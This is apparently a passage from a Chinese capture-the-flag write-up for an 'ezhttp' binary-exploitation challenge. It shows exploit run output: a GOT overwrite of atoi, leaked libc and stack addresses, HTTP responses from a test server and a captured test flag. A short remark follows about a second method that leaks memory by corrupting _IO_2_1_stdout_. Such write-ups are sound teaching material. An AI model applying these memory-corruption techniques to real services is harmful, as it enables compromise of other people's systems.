[*] attack to p_addr set chunk2 as atoi got
b'@quUUU\x00\x00'
b'AAAAAAAA'
b'\xb0puUUU\x00\x00'
[*] libc_atoi: 0x7ffff7a58ac0
[*] libc_base: 0x7ffff7a23000
[*] environ: 0x7ffff7dd5098
[*] _rtld_lock_unlock_recursive : 0x7ffff7ffdf68
[*] stack input: 0x7fffffffdd20
[*] stack main: 0x7fffffffee28
[*] jmp to: 0x7ffff7a44457
[*] flag here:

[*] Switching to interactive mode
","err_info":"Method not allowed"}
======= Server return: =======

HTTP/1.1 405 Method Not Allowed
Server: H-Server
Date: Sun, 01 Feb 2222 00:00:00 GMT
Connection: close
Content-Type: application/json
Content-Length: 47

{"status":"ok","err_info":"Method not allowed"}
======= Server return: =======

HTTP/1.1 405 Method Not Allowed
Server: H-Server
Date: Sun, 01 Feb 2222 00:00:00 GMT
Connection: close
Content-Type: application/json
Content-Length: 47

{"status":"ok","err_info":"Method not allowed"}
======= Server return: =======

HTTP/1.1 200 OK
Server: H-Server
Date: Sun, 01 Feb 2222 00:00:00 GMT
Connection: close
Content-Type: application/json
Content-Length: 42

{"status":"ok","err_info":"Edit success!"}

======= Send Http packet to me: ========
======= Server return: =======

HTTP/1.1 405 Method Not Allowed
Server: H-Server
Date: Sun, 01 Feb 2222 00:00:00 GMT
Connection: close
Content-Type: application/json
Content-Length: 47

{"status":"ok","err_info":"Method not allowed"}
======= Server return: =======

HTTP/1.1 401 Unauthorized
Server: H-Server
Date: Sun, 01 Feb 2222 00:00:00 GMT
Connection: close
Content-Type: application/json
Content-Length: 43

{"status":"ok","err_info":"You not login!"}
flag{test_flag}

[*] Got EOF while reading in interactive

ezhttp 思路2

第一种方法虽然可行, 但是爆破几率实在太低 1/ 4096.

那我们就采用法二, 打通几率 1 / 16, 通过修改_IO_2_1_stdout来进行泄漏.

打赏点小钱
支付宝 | Alipay
微信 | WeChat